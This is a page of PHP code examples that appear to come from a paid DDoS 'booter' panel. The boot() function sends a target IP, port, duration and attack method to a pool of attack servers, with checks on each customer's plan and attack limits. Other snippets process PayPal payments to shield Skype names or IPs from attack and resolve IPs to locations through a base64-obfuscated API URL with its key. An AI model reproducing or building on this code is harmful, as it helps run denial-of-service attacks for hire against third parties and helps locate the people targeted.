示例#1
0
 public static function verifyBlacklist($data)
 {
     $settings = IniHandle::readini();
     if ($data['custom'] == 'blacklist_skype') {
         $price = $settings['skypebl'];
     } elseif ($data['custom'] == 'blacklist_ip') {
         $price = $settings['ipbl'];
     } else {
         Log::write('PayPal', 'No custom parameter, could not get product(Blacklist:skype/IP)');
         return;
     }
     Log::write('PayPal', 'Verifying Blacklist');
     $user = User::find($data['option_selection1']);
     if (empty($user)) {
         Log::write('PayPal', 'Blacklist verify: User does not exist');
         return View::make('msg.error')->with('error', 'User does not exist.');
     }
     if ($data['mc_gross'] != $price) {
         Log::write('PayPal', 'Blacklist verify: prices do not match');
         return View::make('msg.error')->with('error', 'Prices do not match');
     }
     if (Custblacklist::where('blacklist', '=', $data['option_selection2'])->count() != 0) {
         Log::write('PayPal', 'Blacklist verify: Blacklist variable already exists: ' . $data['option_selection2']) . ' -> continue process though';
         return true;
     }
     Custblacklist::create(array('user_id' => $data['option_selection1'], 'blacklist' => strtolower($data['option_selection2']), 'type' => $data['custom'] == 'blacklist_skype' ? 'skype' : 'ip', 'transaction_id' => $data['txn_id']));
     Log::write('PayPal', 'Blacklist verify: succeeded added blacklist: ' . $data['option_selection2']);
     return true;
 }
示例#2
0
    public static function geoResolve($ip)
    {
        if (Custblacklist::where('type', '=', 'ip')->where('blacklist', '=', $ip)->count() > 0) {
            return View::make('msg.errormn')->with('error', '<br />This IP address cannot be geo resolved.');
        }
        $url = base64_decode('aHR0cDovL2FwaS5pcGluZm9kYi5jb20vdjMvaXAtY2l0eS8/a2V5PTRiYTVkMmQ4MjI3NDk1NWRm
OTM3MTlkMDYxYjQ3YWE5NDhlYTUxMjk0MmRiZDljZjliMzYwMTNlNWQ4ZTc3ODQmaXA9') . $ip . base64_decode('JmZvcm1hdD1qc29u');
        $c = curl_init();
        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($c, CURLOPT_URL, $url);
        curl_setopt($c, CURLOPT_TIMEOUT, 10);
        $output = curl_exec($c);
        curl_close($c);
        $i = json_decode($output, true);
        $info = array();
        foreach ($i as $key => $val) {
            $info[$key] = ucfirst(strtolower($val));
        }
        $str = "\n            <br /><table style=\"margin-left:30px;\"><tbody>\n                <tr><td>IP address:</td><td>{$info['ipAddress']}</td></tr>\n                <tr><td>Country:</td><td>{$info['countryName']}</td></tr>\n                <tr><td>State/Province:</td><td>{$info['regionName']}</td></tr>\n                <tr><td>City:</td><td>{$info['cityName']}</td></tr>\n            </tbody>\n            </table>\n        ";
        return $str;
    }
示例#3
0
 public function post_sales()
 {
     $data = Input::get();
     return Custblacklist::validateAdd($data);
 }
示例#4
0
 public function boot($host, $time, $port, $method)
 {
     set_time_limit(800);
     if (!Auth::check()) {
         return View::make('msg.errormn')->with('error', 'You are not logged in.');
     }
     if (Booter::status() == false) {
         return View::make('msg.errormn')->with('error', 'The booter is currently offline, try again later.');
     }
     if (Server::count() == 0) {
         return View::make('msg.errormn')->with('error', 'There are no servers to boot with.');
     }
     if (Auth::user()->hasPlanExpired()) {
         return View::make('msg.errormn')->with('error', 'Your plan has expired.');
     }
     if (empty($host) || !filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
         return View::make('msg.errormn')->with('error', 'Invalid target IP address.');
     }
     if (Blacklist::where('ip', '=', $host)->count() > 0 || $host == $_SERVER['SERVER_ADDR'] || $host == gethostbyname(gethostname()) || Custblacklist::where('type', '=', 'ip')->where('blacklist', '=', $host)->count() > 0) {
         return View::make('msg.errormn')->with('error', 'This host is blocked from being attacked.');
     }
     if (empty($time) || !is_numeric($time)) {
         return View::make('msg.errormn')->with('error', 'Invalid time.');
     }
     if (empty($port) || !is_numeric($port)) {
         return View::make('msg.errormn')->with('error', 'Invalid port.');
     }
     if ($time > Auth::user()->time) {
         return View::make('msg.errormn')->with('error', 'Your max boot time is ' . Auth::user()->time . ' seconds.');
     }
     if ($time < 1) {
         return View::make('msg.errormn')->with('error', 'Boot for at least 1 second.');
     }
     if ($method != 'stop') {
         if (!Auth::user()->concurrentCheck()) {
             return View::make('msg.errormn')->with('error', 'You already have ' . Auth::user()->concurrent . ' attacks running, you can start your next attack in ' . Auth::user()->secondsToAttackFinish() . ' seconds.');
         }
     }
     //Get all methods
     $settings = parse_ini_file('application/config/config.ini');
     $m = $settings['methods'];
     $m = explode(',', $m);
     for ($i = 0; $i < count($m); $i++) {
         $methods[$i] = $m[$i];
     }
     $methods['stop'] = 'stop';
     if (empty($methods[$method])) {
         return View::make('msg.errormn')->with('error', 'Invalid method.');
     }
     if ($method != 'stop') {
         Attack::create(array('user_id' => Auth::user()->id, 'user_ip' => $_SERVER['REMOTE_ADDR'], 'ip' => $host, 'time' => $time, 'port' => $port, 'method' => strtolower($methods[$method])));
     }
     $mh = curl_multi_init();
     $ch3 = array();
     $cnt = Server::count();
     $servers = Server::all();
     for ($i = 0; $i < $cnt; $i++) {
         $server = $servers[$i];
         $url = $server->url . '?' . $server->host . '=' . $host . '&' . $server->time . '=' . $time . '&' . $server->port . '=' . $port . '&' . $server->method . '=' . strtolower($methods[$method]) . '&' . $server->custom;
         $ch3[$i] = curl_init($url);
         curl_setopt($ch3[$i], CURLOPT_RETURNTRANSFER, 1);
         curl_multi_add_handle($mh, $ch3[$i]);
     }
     $running = NULL;
     do {
         $mrc = curl_multi_exec($mh, $running);
     } while ($running > 0);
     return true;
 }